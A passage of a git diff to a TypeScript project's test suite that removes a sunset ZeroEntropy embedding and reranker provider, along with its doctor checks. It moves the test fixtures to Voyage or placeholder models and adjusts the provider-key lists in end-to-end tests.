expect(RANKING_ONLY_DEGRADED_STAGES.has('reranker_skipped')).toBe(true);
expect(affectsRecall({ stage: 'reranker_skipped', reason: 'no_key' })).toBe(false);
- expect(affectsRecall({ stage: 'reranker_skipped', reason: 'sunset_short_circuit' })).toBe(false);
+ expect(affectsRecall({ stage: 'reranker_skipped', reason: 'no_key' })).toBe(false);
});
test('every other closed-vocabulary stage affects recall', () => {
diff --git a/test/doctor-embedding-env-override.test.ts b/test/doctor-embedding-env-override.test.ts
index b6098fb2cd..69af7aac36 100644
--- a/test/doctor-embedding-env-override.test.ts
+++ b/test/doctor-embedding-env-override.test.ts
@@ -52,12 +52,12 @@ describe('embedding_env_override check (buildChecks seam)', () => {
});
test('env+DB agree → ok', async () => {
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
- await engine.setConfig('embedding_dimensions', '1280');
+ await engine.setConfig('embedding_model', 'voyage:voyage-4');
+ await engine.setConfig('embedding_dimensions', '1024');
await withEnv(
{
- GBRAIN_EMBEDDING_MODEL: 'zeroentropyai:zembed-1',
- GBRAIN_EMBEDDING_DIMENSIONS: '1280',
+ GBRAIN_EMBEDDING_MODEL: 'voyage:voyage-4',
+ GBRAIN_EMBEDDING_DIMENSIONS: '1024',
},
async () => {
const checks = await buildChecks(engine, []);
@@ -69,7 +69,7 @@ describe('embedding_env_override check (buildChecks seam)', () => {
});
test('env model disagrees with DB → warn with details.mismatches', async () => {
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
+ await engine.setConfig('embedding_model', 'voyage:voyage-4');
await withEnv(
{ GBRAIN_EMBEDDING_MODEL: 'openai:text-embedding-3-large' },
async () => {
@@ -80,7 +80,7 @@ describe('embedding_env_override check (buildChecks seam)', () => {
expect(details.mismatches).toHaveLength(1);
expect(details.mismatches[0].key).toBe('GBRAIN_EMBEDDING_MODEL');
expect(details.mismatches[0].env).toBe('openai:text-embedding-3-large');
- expect(details.mismatches[0].db).toBe('zeroentropyai:zembed-1');
+ expect(details.mismatches[0].db).toBe('voyage:voyage-4');
// Message includes paste-ready unset
expect(check!.message).toContain('unset GBRAIN_EMBEDDING_MODEL');
},
@@ -88,7 +88,7 @@ describe('embedding_env_override check (buildChecks seam)', () => {
});
test('env dim disagrees with DB → warn with details.mismatches', async () => {
- await engine.setConfig('embedding_dimensions', '1280');
+ await engine.setConfig('embedding_dimensions', '1024');
await withEnv(
{ GBRAIN_EMBEDDING_DIMENSIONS: '1536' },
async () => {
@@ -103,8 +103,8 @@ describe('embedding_env_override check (buildChecks seam)', () => {
});
test('both disagree → 2 mismatches', async () => {
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
- await engine.setConfig('embedding_dimensions', '1280');
+ await engine.setConfig('embedding_model', 'voyage:voyage-4');
+ await engine.setConfig('embedding_dimensions', '1024');
await withEnv(
{
GBRAIN_EMBEDDING_MODEL: 'openai:x',
@@ -123,7 +123,7 @@ describe('embedding_env_override check (buildChecks seam)', () => {
test('doctorReportRemote() includes the check (cross-surface parity)', async () => {
await withEnv({ GBRAIN_EMBEDDING_MODEL: 'openai:something' }, async () => {
- await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
+ await engine.setConfig('embedding_model', 'voyage:voyage-4');
const report = await doctorReportRemote(engine);
const check = findCheck(report.checks, 'embedding_env_override');
expect(check).toBeDefined();
diff --git a/test/doctor-embedding-width.test.ts b/test/doctor-embedding-width.test.ts
new file mode 100644
index 0000000000..76ba049156
--- /dev/null
+++ b/test/doctor-embedding-width.test.ts
@@ -0,0 +1,80 @@
+import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { resetPgliteState } from './helpers/reset-pglite.ts';
+import {
+ checkEmbeddingWidthConsistency,
+} from '../src/commands/doctor.ts';
+import { configureGateway } from '../src/core/ai/gateway.ts';
+
+let engine: PGLiteEngine;
+
+beforeAll(async () => {
+ engine = new PGLiteEngine();
+ await engine.connect({});
+ await engine.initSchema();
+});
+
+afterAll(async () => {
+ await engine.disconnect();
+});
+
+beforeEach(async () => {
+ await resetPgliteState(engine);
+ // Env is owned per-test by withEnv; nothing to clean up here.
+});
+
+describe('checkEmbeddingWidthConsistency', () => {
+ // v0.37 fix wave (Lane E.1 + CDX-8): check reads from gateway, NOT DB
+ // config. Tests configure the gateway directly so we can simulate the
+ // mismatch scenario.
+
+ test('config matches schema width: ok', async () => {
+ // Read the actual schema column dim, then configure the gateway to
+ // match. The check should report ok.
+ const rows = await engine.executeRaw<{ format_type: string }>(
+ `SELECT format_type(atttypid, atttypmod) AS format_type
+ FROM pg_attribute
+ WHERE attrelid = 'content_chunks'::regclass
+ AND attname = 'embedding'
+ AND NOT attisdropped`,
+ );
+ const m = rows[0].format_type.match(/vector\((\d+)\)/i);
+ expect(m).not.toBeNull();
+ const schemaDim = parseInt(m![1], 10);
+
+ configureGateway({
+ embedding_model: 'openai:text-embedding-3-large',
+ embedding_dimensions: schemaDim,
+ env: { ...process.env },
+ });
+ const check = await checkEmbeddingWidthConsistency(engine);
+ expect(check.status).toBe('ok');
+ expect(check.message).toContain(`${schemaDim}d`);
+ });
+
+ test('config mismatches schema width: warns with fix hint', async () => {
+ // Configure gateway to a dim that doesn't match the schema. With the
+ // preload setting OpenAI/1536 and re-applying per-test, the schema
+ // is 1536 — so 768 is guaranteed-different here.
+ configureGateway({
+ embedding_model: 'openai:text-embedding-3-small',
+ embedding_dimensions: 768,
+ env: { ...process.env },
+ });
+ const check = await checkEmbeddingWidthConsistency(engine);
+ expect(check.status).toBe('warn');
+ expect(check.message).toContain('mismatch');
+ // v0.37 hint points at gbrain init (the path that works), not config set.
+ expect(check.message).toContain('gbrain init');
+ });
+
+ test('gateway unconfigured: skips with ok', async () => {
+ // Hard-unconfigure so requireConfig() throws — resetGateway() would
+ // restore the preload's test baseline (#3554).
+ const { __unconfigureGatewayForTests } = await import('../src/core/ai/gateway.ts');
+ __unconfigureGatewayForTests();
+ const check = await checkEmbeddingWidthConsistency(engine);
+ expect(check.status).toBe('ok');
+ expect(check.message).toContain('gateway not configured');
+ });
+});
diff --git a/test/doctor-hidden-by-search-policy.test.ts b/test/doctor-hidden-by-search-policy.test.ts
index 1c3305d346..15ee88a049 100644
--- a/test/doctor-hidden-by-search-policy.test.ts
+++ b/test/doctor-hidden-by-search-policy.test.ts
@@ -63,11 +63,11 @@ beforeAll(async () => {
// Pin the embedding dim to 1536 BEFORE initSchema. basisEmbedding()
// hardcodes Float32Array(1536) vectors, but initSchema sizes vector
// columns from process-global gateway state (getEmbeddingDimensions(),
- // default 1280 = zeroentropyai). Whether this file passes therefore
+ // default 1024 = Voyage). Whether this file passes therefore
// depended on which test files happened to run before it in the shard: a
// predecessor that leaves the gateway configured without dims (or a bare
- // CI env) yields vector(1280) and every upsertChunks here dies with
- // "expected 1280 dimensions, not 1536". Adding test files to the repo
+ // CI env) yields vector(1024) and every upsertChunks here dies with
+ // "expected 1024 dimensions, not 1536". Adding test files to the repo
// reshuffles the weight-packed shards, so unrelated PRs trip it (seen on
// #2800 CI, test (1)). Same fix + rationale as
// engine-find-trajectory.test.ts and cosine-rescore-column.test.ts, which
diff --git a/test/doctor-keyless.serial.test.ts b/test/doctor-keyless.serial.test.ts
index 04dabdba4e..b199a9fd74 100644
--- a/test/doctor-keyless.serial.test.ts
+++ b/test/doctor-keyless.serial.test.ts
@@ -4,7 +4,7 @@ import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
-import { buildChecks, checkProviderSunset } from '../src/commands/doctor.ts';
+import { buildChecks } from '../src/commands/doctor.ts';
import { withEnv } from './helpers/with-env.ts';
describe('keyless installation diagnostics', () => {
@@ -22,7 +22,7 @@ describe('keyless installation diagnostics', () => {
await engine.connect({});
await engine.initSchema();
await engine.setConfig('search.mode', 'conservative');
- configureGateway({ embedding_model: 'zeroentropyai:zembed-1', embedding_dimensions: 1280, env: {} });
+ configureGateway({ embedding_model: 'fixture-provider:embedding-v1', embedding_dimensions: 1280, env: {} });
});
afterAll(async () => {
@@ -34,7 +34,7 @@ describe('keyless installation diagnostics', () => {
test('does not prescribe provider migration or destructive resizing for disabled embeddings', async () => {
await withEnv({ GBRAIN_HOME: home }, async () => {
const checks = await buildChecks(engine, []);
- for (const name of ['embedding_width_consistency', 'embedding_column_registry', 'ze_embedding_health', 'provider_sunset']) {
+ for (const name of ['embedding_width_consistency', 'embedding_column_registry']) {
const check = checks.find(c => c.name === name);
expect(check, name).toBeDefined();
expect(check!.status, `${name}: ${check!.message}`).toBe('ok');
@@ -43,21 +43,6 @@ describe('keyless installation diagnostics', () => {
});
});
- test('still reports an independently enabled sunset reranker', async () => {
- await withEnv({ GBRAIN_HOME: home }, async () => {
- await engine.setConfig('search.reranker.enabled', 'true');
- await engine.setConfig('search.reranker.model', 'zeroentropyai:zerank-2');
- try {
- const check = await checkProviderSunset(engine);
- expect(check.status).toBe('warn');
- expect(check.message).toContain('reranker');
- expect(check.message).not.toContain('embedding_model=');
- } finally {
- await engine.setConfig('search.reranker.enabled', 'false');
- }
- });
- });
-
test('still validates explicitly declared custom embedding columns', async () => {
await withEnv({ GBRAIN_HOME: home }, async () => {
await engine.setConfig('embedding_columns', JSON.stringify({
diff --git a/test/doctor-reranker-health.test.ts b/test/doctor-reranker-health.test.ts
index 5a1d9849cc..087ac0a9b6 100644
--- a/test/doctor-reranker-health.test.ts
+++ b/test/doctor-reranker-health.test.ts
@@ -1,6 +1,6 @@
/**
* v0.48.2 — doctor `reranker_health` resolves enablement + model through the
- * mode plane and reports readiness (key present / sunset / skip rows).
+ * mode plane and reports readiness (key present / skip rows).
*
* Stub engine: `getConfig` from a Map (loadSearchModeConfig reads per key);
* env via withEnv (the check folds `loadConfig()` + process.env). Audit rows
@@ -12,7 +12,7 @@ import * as os from 'os';
import * as path from 'path';
import { checkRerankerHealth } from '../src/commands/doctor.ts';
import { logRerankFailure } from '../src/core/rerank-audit.ts';
-import { DEFAULT_RERANKER_MODEL, LEGACY_DEFAULT_RERANKER_MODEL, NEW_INSTALL_DEFAULT_RERANKER_MODEL, ZEROENTROPY_SUNSET_DATE } from '../src/core/ai/defaults.ts';
+import { DEFAULT_RERANKER_MODEL } from '../src/core/ai/defaults.ts';
import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
import { withEnv, emptyHome } from './helpers/with-env.ts';
@@ -162,33 +162,6 @@ describe('reranker_health (v0.48.2 readiness-aware)', () => {
});
});
- test('explicit ZE reranker on/after the sunset → warn with the switch command (injected clock)', async () => {
- const AFTER = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) + 86_400_000);
- const BEFORE = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) - 1000);
- await inFreshAudit({ ZEROENTROPY_API_KEY: 'zk', VOYAGE_API_KEY: undefined, GBRAIN_HOME: emptyHome() }, async () => {
- gw({ ZEROENTROPY_API_KEY: 'zk' });
- const engine = engineWith({ 'search.reranker.model': LEGACY_DEFAULT_RERANKER_MODEL });
- const after = await checkRerankerHealth(engine, AFTER);
- expect(after.status).toBe('warn');
- expect(after.message).toContain('provider sunset');
- expect(after.message).toContain(`gbrain config set search.reranker.model ${NEW_INSTALL_DEFAULT_RERANKER_MODEL}`);
- const before = await checkRerankerHealth(engine, BEFORE);
- expect(before.status).toBe('ok');
- expect(before.message).toContain('ready');
- });
- });
-
- test('a provider_base_urls self-host override keeps an explicit ZE reranker ready past the sunset', async () => {
- const AFTER = new Date(Date.parse(`${ZEROENTROPY_SUNSET_DATE}T00:00:00Z`) + 86_400_000);
- await inFreshAudit({ ZEROENTROPY_API_KEY: 'zk', VOYAGE_API_KEY: undefined, GBRAIN_HOME: emptyHome() }, async () => {
- // The gateway carries the base-URL override the CLI folded from config.
- gw({ ZEROENTROPY_API_KEY: 'zk' }, { base_urls: { zeroentropyai: 'http://127.0.0.1:8080/v1' } });
- const c = await checkRerankerHealth(engineWith({ 'search.reranker.model': LEGACY_DEFAULT_RERANKER_MODEL }), AFTER);
- expect(c.status).toBe('ok');
- expect(c.message).toContain('ready');
- });
- });
-
test('when the gateway is configured, readiness follows the GATEWAY plane (what rerank() uses)', async () => {
await inFreshAudit({ VOYAGE_API_KEY: 'pa-in-process-env-only', GBRAIN_HOME: emptyHome() }, async () => {
configureGateway({ embedding_model: 'openai:text-embedding-3-small', embedding_dimensions: 1536, env: { OPENAI_API_KEY: 'sk-test' } });
@@ -211,8 +184,8 @@ describe('reranker_health (v0.48.2 readiness-aware)', () => {
test('audit rows for a RETIRED model do not warn on the live default (rows are filtered to the resolved model)', async () => {
await inFreshAudit({ VOYAGE_API_KEY: 'pa-test' }, async () => {
gw({ VOYAGE_API_KEY: 'pa-test' });
- logRerankFailure({ model: LEGACY_DEFAULT_RERANKER_MODEL, reason: 'auth', query_hash: 'old00001', doc_count: 25, error_summary: 'rerank HTTP 401' });
- logRerankFailure({ model: LEGACY_DEFAULT_RERANKER_MODEL, reason: 'no_key', query_hash: 'old00002', doc_count: 25, error_summary: 'ZEROENTROPY_API_KEY not set' });
+ logRerankFailure({ model: 'fixture-provider:reranker-v1', reason: 'auth', query_hash: 'old00001', doc_count: 25, error_summary: 'rerank HTTP 401' });
+ logRerankFailure({ model: 'fixture-provider:reranker-v1', reason: 'no_key', query_hash: 'old00002', doc_count: 25, error_summary: 'FIXTURE_API_KEY not set' });
const c = await checkRerankerHealth(engineWith({}));
expect(c.status).toBe('ok');
expect(c.message).toContain('No rerank failures in last 7 days');
diff --git a/test/doctor-search-mode.test.ts b/test/doctor-search-mode.test.ts
index c885fe74a9..a7af5a15fa 100644
--- a/test/doctor-search-mode.test.ts
+++ b/test/doctor-search-mode.test.ts
@@ -3,16 +3,6 @@
* Pins [CDX-20]: status stays 'ok', no health-score docking; hint lives
* in `message`. Tests the two exported helpers directly to avoid the
* expensive full runDoctor walk.
- *
- * #3657/#4382 sunset-awareness amends [CDX-20]: when the ACTIVE resolved
- * reranker is on the sunset list (RERANKER_SUNSETS), search_mode DOES warn
- * (with the sunset date), and the `gbrain search modes --reset` advice is
- * withheld whenever a reset would re-arm a sunsetting reranker.
- *
- * v0.48.2: the mode-bundle default is the LIVE voyage reranker, so the
- * bundle-only cases are back to the original [CDX-20] `ok` and a reset can
- * never re-arm a dying provider — only an EXPLICIT zeroentropyai:* override
- * still warns.
*/
import { afterAll, beforeAll, beforeEach, describe, expect, test } from 'bun:test';
import { execSync } from 'child_process';
@@ -22,9 +12,7 @@ import { join } from 'path';
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
import { checkSearchMode, checkEvalDrift } from '../src/commands/doctor.ts';
import {
- ZEROENTROPY_SUNSET_DATE,
NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- LEGACY_DEFAULT_RERANKER_MODEL,
} from '../src/core/ai/defaults.ts';
let engine: PGLiteEngine;
@@ -48,11 +36,9 @@ describe('checkSearchMode [CDX-20]', () => {
const c = await checkSearchMode(engine);
expect(c.name).toBe('search_mode');
// [CDX-20] original never-warn contract holds again: the balanced
- // fallback's reranker is live (v0.48.2), so no sunset claim.
expect(c.status).toBe('ok');
expect(c.message).toMatch(/unset/i);
expect(c.message).toContain('gbrain search modes');
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
});
test('mode set, no overrides → "canonical" message, ok (balanced reranks with the live default)', async () => {
@@ -61,10 +47,9 @@ describe('checkSearchMode [CDX-20]', () => {
expect(c.status).toBe('ok');
expect(c.message).toContain('balanced');
expect(c.message).toContain('canonical');
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
});
- test('mode set + overrides → ok with reset hint + override list (sunset-clean mode)', async () => {
+ test('mode set + overrides → ok with reset hint + override list', async () => {
await engine.setConfig('search.mode', 'conservative');
await engine.setConfig('search.cache.enabled', 'false');
await engine.setConfig('search.tokenBudget', '8000');
@@ -90,12 +75,11 @@ describe('checkSearchMode [CDX-20]', () => {
expect(c.status).toBe('ok');
expect(c.message).toContain('tokenmax');
expect(c.message).toContain('canonical');
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
});
});
-describe('checkSearchMode sunset-awareness (#3657/#4382)', () => {
- test('explicit voyage overrides equal to the live bundle default → plain --reset advice, no sunset claims (v0.48.2)', async () => {
+describe('checkSearchMode reset advice', () => {
+ test('explicit voyage overrides equal to the live bundle default → plain --reset advice', async () => {
// The old #4382 repro: tokenmax + explicit voyage reranker overrides. A
// reset now restores the SAME live model, so consolidation is safe again.
await engine.setConfig('search.mode', 'tokenmax');
@@ -105,28 +89,14 @@ describe('checkSearchMode sunset-awareness (#3657/#4382)', () => {
expect(c.status).toBe('ok');
expect(c.message).toContain('gbrain search modes --reset');
expect(c.message).not.toContain('load-bearing');
- expect(c.message).not.toContain(LEGACY_DEFAULT_RERANKER_MODEL);
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
// Override roster stays visible.
expect(c.message).toContain('search.reranker.model');
});
- test('bundle default, no overrides (balanced) → ok, no sunset date, no reset advice needed', async () => {
+ test('bundle default, no overrides (balanced) → ok, no reset advice needed', async () => {
await engine.setConfig('search.mode', 'balanced');
const c = await checkSearchMode(engine);
expect(c.status).toBe('ok');
- expect(c.message).not.toContain(LEGACY_DEFAULT_RERANKER_MODEL);
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
- expect(c.message).not.toContain('--reset');
- });
-
- test('active sunsetting reranker via explicit override → warn, never a reset into the same dying default', async () => {
- await engine.setConfig('search.mode', 'tokenmax');
- await engine.setConfig('search.reranker.model', 'zeroentropyai:zerank-1');
- const c = await checkSearchMode(engine);
- expect(c.status).toBe('warn');
- expect(c.message).toContain('zeroentropyai:zerank-1');
- expect(c.message).toContain(ZEROENTROPY_SUNSET_DATE);
expect(c.message).not.toContain('--reset');
});
@@ -136,7 +106,6 @@ describe('checkSearchMode sunset-awareness (#3657/#4382)', () => {
const c = await checkSearchMode(engine);
expect(c.status).toBe('ok');
expect(c.message).toContain('gbrain search modes --reset');
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
});
test('an explicit search.reranker.model equal to the bundle default is called redundant with a precise unset, never --reset', async () => {
@@ -150,13 +119,12 @@ describe('checkSearchMode sunset-awareness (#3657/#4382)', () => {
expect(c.message).not.toContain('--reset');
});
- test('sunset-clean mode + overrides keeps the --reset recommendation (conservative bundle reranks nothing)', async () => {
+ test('conservative mode + overrides keeps the --reset recommendation (conservative bundle reranks nothing)', async () => {
await engine.setConfig('search.mode', 'conservative');
await engine.setConfig('search.cache.enabled', 'false');
const c = await checkSearchMode(engine);
expect(c.status).toBe('ok');
expect(c.message).toContain('gbrain search modes --reset');
- expect(c.message).not.toContain(ZEROENTROPY_SUNSET_DATE);
});
});
diff --git a/test/doctor-ze-checks.test.ts b/test/doctor-ze-checks.test.ts
deleted file mode 100644
index 29da2ad9ac..0000000000
--- a/test/doctor-ze-checks.test.ts
+++ /dev/null
@@ -1,157 +0,0 @@
-/**
- * v0.36.0.0 (A5) — Doctor checks for the ZE cutover.
- *
- * Pins:
- * - ze_embedding_health: warns when embedding_model is ZE but no key
- * is configured; OK when key present; OK when not on ZE (skip).
- * - embedding_width_consistency: warns when configured dim diverges
- * from the actual vector(N) column width.
- */
-
-import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
-import { PGLiteEngine } from '../src/core/pglite-engine.ts';
-import { resetPgliteState } from './helpers/reset-pglite.ts';
-import { withEnv, emptyHome } from './helpers/with-env.ts';
-import {
- checkZeEmbeddingHealth,
- checkEmbeddingWidthConsistency,
-} from '../src/commands/doctor.ts';
-import { configureGateway } from '../src/core/ai/gateway.ts';
-
-let engine: PGLiteEngine;
-
-beforeAll(async () => {
- engine = new PGLiteEngine();
- await engine.connect({});
- await engine.initSchema();
-});
-
-afterAll(async () => {
- await engine.disconnect();
-});
-
-beforeEach(async () => {
- await resetPgliteState(engine);
- // Env is owned per-test by withEnv; nothing to clean up here.
-});
-
-describe('checkZeEmbeddingHealth', () => {
- // v0.37 fix wave (Lane E.3 + CDX2-10): checkZeEmbeddingHealth now reads
- // from the gateway (file plane source of truth) instead of the DB config
- // table. Tests configure the gateway directly via configureGateway()
- // rather than writing via engine.setConfig().
-
- test('not on ZE: returns ok with skip message', async () => {
- configureGateway({
- embedding_model: 'openai:text-embedding-3-large',
- embedding_dimensions: 1536,
- env: { ...process.env },
- });
- const check = await checkZeEmbeddingHealth(engine);
- expect(check.status).toBe('ok');
- expect(check.message).toContain('not ZeroEntropy');
- });
-
- test('on ZE + no key: warns migration-first (no signup funnel)', async () => {
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ...process.env, ZEROENTROPY_API_KEY: undefined as any },
- });
- // Clear the env var AND isolate GBRAIN_HOME for the no-key path: the check
- // reads ZEROENTROPY_API_KEY from env OR the gbrain config file, so a dev
- // machine whose real ~/.gbrain/config.json holds the key needs both cleared.
- await withEnv({ ZEROENTROPY_API_KEY: undefined, GBRAIN_HOME: emptyHome() }, async () => {
- const check = await checkZeEmbeddingHealth(engine);
- expect(check.status).toBe('warn');
- expect(check.message).toContain('ZEROENTROPY_API_KEY');
- // Migration-first: the fix for a missing key on a sunsetting provider
- // is the off-ramp, never a signup link.
- expect(check.message).toContain('migrate embeddings');
- expect(check.message).not.toContain('dashboard.zeroentropy.dev');
- });
- });
-
- test('on ZE + env key: ok', async () => {
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ...process.env },
- });
- await withEnv({ ZEROENTROPY_API_KEY: 'sk-fake-test' }, async () => {
- const check = await checkZeEmbeddingHealth(engine);
- expect(check.status).toBe('ok');
- });
- });
-
- // v0.37 fix wave note: ZE key now lives in file plane only (not DB plane).
- // The "config key" path here exercises the file-plane fallback that
- // checkZeEmbeddingHealth checks via loadConfigFileOnly().
- test('on ZE + env key (file-plane equivalent): ok', async () => {
- configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- env: { ...process.env },
- });
- await withEnv({ ZEROENTROPY_API_KEY: 'sk-fake-from-env' }, async () => {
- const check = await checkZeEmbeddingHealth(engine);
- expect(check.status).toBe('ok');
- });
- });
-});
-
-describe('checkEmbeddingWidthConsistency', () => {
- // v0.37 fix wave (Lane E.1 + CDX-8): check reads from gateway, NOT DB
- // config. Tests configure the gateway directly so we can simulate the
- // mismatch scenario.
-
- test('config matches schema width: ok', async () => {
- // Read the actual schema column dim, then configure the gateway to
- // match. The check should report ok.
- const rows = await engine.executeRaw<{ format_type: string }>(
- `SELECT format_type(atttypid, atttypmod) AS format_type
- FROM pg_attribute
- WHERE attrelid = 'content_chunks'::regclass
- AND attname = 'embedding'
- AND NOT attisdropped`,
- );
- const m = rows[0].format_type.match(/vector\((\d+)\)/i);
- expect(m).not.toBeNull();
- const schemaDim = parseInt(m![1], 10);
-
- configureGateway({
- embedding_model: 'openai:text-embedding-3-large',
- embedding_dimensions: schemaDim,
- env: { ...process.env },
- });
- const check = await checkEmbeddingWidthConsistency(engine);
- expect(check.status).toBe('ok');
- expect(check.message).toContain(`${schemaDim}d`);
- });
-
- test('config mismatches schema width: warns with fix hint', async () => {
- // Configure gateway to a dim that doesn't match the schema. With the
- // preload setting OpenAI/1536 and re-applying per-test, the schema
- // is 1536 — so 768 is guaranteed-different here.
- configureGateway({
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: 768,
- env: { ...process.env },
- });
- const check = await checkEmbeddingWidthConsistency(engine);
- expect(check.status).toBe('warn');
- expect(check.message).toContain('mismatch');
- // v0.37 hint points at gbrain init (the path that works), not config set.
- expect(check.message).toContain('gbrain init');
- });
-
- test('gateway unconfigured: skips with ok', async () => {
- // Hard-unconfigure so requireConfig() throws — resetGateway() would
- // restore the preload's test baseline (#3554).
- const { __unconfigureGatewayForTests } = await import('../src/core/ai/gateway.ts');
- __unconfigureGatewayForTests();
- const check = await checkEmbeddingWidthConsistency(engine);
- expect(check.status).toBe('ok');
- expect(check.message).toContain('gateway not configured');
- });
-});
diff --git a/test/doctor.test.ts b/test/doctor.test.ts
index 85b2b2e110..6202aaf5b3 100644
--- a/test/doctor.test.ts
+++ b/test/doctor.test.ts
@@ -182,7 +182,7 @@ describe('doctor command', () => {
reason: 'unknown',
query_hash: `unknown${i}`,
doc_count: 30,
- error_summary: 'ZeroEntropy reranker requires ZEROENTROPY_API_KEY.',
+ error_summary: 'Voyage reranker requires VOYAGE_API_KEY.',
});
}
const check = await checkRerankerHealth({
@@ -193,7 +193,7 @@ describe('doctor command', () => {
expect(check.status).toBe('warn');
expect(check.message).toContain('unknown');
// v0.46.3: the hint names the reranker provider's key generically
- // (VOYAGE_API_KEY example) — ZE is sunsetting.
+ // (VOYAGE_API_KEY example).
expect(check.message).toContain('VOYAGE_API_KEY');
});
} finally {
diff --git a/test/dream-keyless-exit.test.ts b/test/dream-keyless-exit.test.ts
index d6c59ac966..d98f14c63c 100644
--- a/test/dream-keyless-exit.test.ts
+++ b/test/dream-keyless-exit.test.ts
@@ -30,7 +30,7 @@
* ALLOWLIST, so every provider credential the canonical fold recognizes
* (src/core/ai/provider-env.ts mergedProviderEnv: ANTHROPIC_API_KEY,
* OPENAI_API_KEY, GEMINI_API_KEY, GOOGLE_GENERATIVE_AI_API_KEY,
- * VOYAGE_API_KEY, OPENROUTER_API_KEY, ZEROENTROPY_API_KEY,
+ * VOYAGE_API_KEY, OPENROUTER_API_KEY, VOYAGE_API_KEY,
* DASHSCOPE_API_KEY, AZURE_OPENAI_*) is absent by construction, and the
* fixture's config.json sets no config-based keys either.
*/
diff --git a/test/e2e/autopilot-linux-lifecycle.serial.test.ts b/test/e2e/autopilot-linux-lifecycle.serial.test.ts
index 3840f92553..36574f4f0d 100644
--- a/test/e2e/autopilot-linux-lifecycle.serial.test.ts
+++ b/test/e2e/autopilot-linux-lifecycle.serial.test.ts
@@ -188,7 +188,6 @@ exit 0
delete runEnv.GBRAIN_PGBOUNCER_URL;
delete runEnv.GBRAIN_PGBOUNCER_DIRECT_URL;
delete runEnv.VOYAGE_API_KEY;
- delete runEnv.ZEROENTROPY_API_KEY;
delete runEnv.OPENAI_API_KEY;
delete runEnv.ANTHROPIC_API_KEY;
delete runEnv.GOOGLE_API_KEY;
diff --git a/test/e2e/bootstrap-degraded-modes.serial.test.ts b/test/e2e/bootstrap-degraded-modes.serial.test.ts
index 13fdef4d59..037a6f40b4 100644
--- a/test/e2e/bootstrap-degraded-modes.serial.test.ts
+++ b/test/e2e/bootstrap-degraded-modes.serial.test.ts
@@ -44,7 +44,7 @@ const ENV_KEYS = [
'CLAUDECODE', 'CLAUDE_CODE_ENTRYPOINT', 'CODEX_HOME', 'CODEX_SANDBOX', 'CODEX_CI',
// Provider keys — keyless mode means detectCapabilities finds NOTHING
// (mergedEnv folds these names; GEMINI_API_KEY aliases the google key).
- 'OPENAI_API_KEY', 'ANTHROPIC_API_KEY', 'VOYAGE_API_KEY', 'ZEROENTROPY_API_KEY',
+ 'OPENAI_API_KEY', 'ANTHROPIC_API_KEY', 'VOYAGE_API_KEY',
'OPENROUTER_API_KEY', 'DASHSCOPE_API_KEY', 'GOOGLE_GENERATIVE_AI_API_KEY', 'GEMINI_API_KEY',
];
diff --git a/test/e2e/bootstrap-keyed-postgres.serial.test.ts b/test/e2e/bootstrap-keyed-postgres.serial.test.ts
index bfdf198d86..4d6bbcc382 100644
--- a/test/e2e/bootstrap-keyed-postgres.serial.test.ts
+++ b/test/e2e/bootstrap-keyed-postgres.serial.test.ts
@@ -26,7 +26,7 @@ import { claimWorktree } from '../../src/core/persistence/ownership.ts';
import { loadCorpusPages } from '../helpers/bootstrap-corpus.ts';
import { runEmbedCore } from '../../src/commands/embed.ts';
import { hybridSearch } from '../../src/core/search/hybrid.ts';
-import { runSchemaTransition } from '../../src/core/retrieval-upgrade-planner.ts';
+import { runSchemaTransition } from '../../src/core/embedding-migration.ts';
import { isolatedPersistencePostgres } from '../helpers/persistence-postgres.ts';
import { extractTakesFromPages } from '../../src/core/extract-takes-from-pages.ts';
import {
diff --git a/test/e2e/bootstrap-magic-moment.serial.test.ts b/test/e2e/bootstrap-magic-moment.serial.test.ts
index da5d077b03..856947f30e 100644
--- a/test/e2e/bootstrap-magic-moment.serial.test.ts
+++ b/test/e2e/bootstrap-magic-moment.serial.test.ts
@@ -86,7 +86,7 @@ const OTHER_SOURCE = 'other';
// Every provider key that detectCapabilities / the sweep could observe. Stripped
// so keyless is deterministic (and no accidental live embedding cost/flake).
const PROVIDER_KEYS = [
- 'OPENAI_API_KEY', 'ANTHROPIC_API_KEY', 'ZEROENTROPY_API_KEY', 'OPENROUTER_API_KEY',
+ 'OPENAI_API_KEY', 'ANTHROPIC_API_KEY', 'OPENROUTER_API_KEY',
'VOYAGE_API_KEY', 'DASHSCOPE_API_KEY', 'GOOGLE_GENERATIVE_AI_API_KEY', 'GEMINI_API_KEY',
];
const ENV_KEYS = [
diff --git a/test/e2e/embedding-column-pglite.test.ts b/test/e2e/embedding-column-pglite.test.ts
index 32895a51c1..2de8ccb766 100644
--- a/test/e2e/embedding-column-pglite.test.ts
+++ b/test/e2e/embedding-column-pglite.test.ts
@@ -5,7 +5,7 @@
* - Multi-column search: same query against `embedding` and against an
* ad-hoc `embedding_voyage` column produces different orderings
* consistent with the seeded vectors.
- * - Halfvec column: ALTER TABLE ADD `embedding_ze halfvec(2560)` and
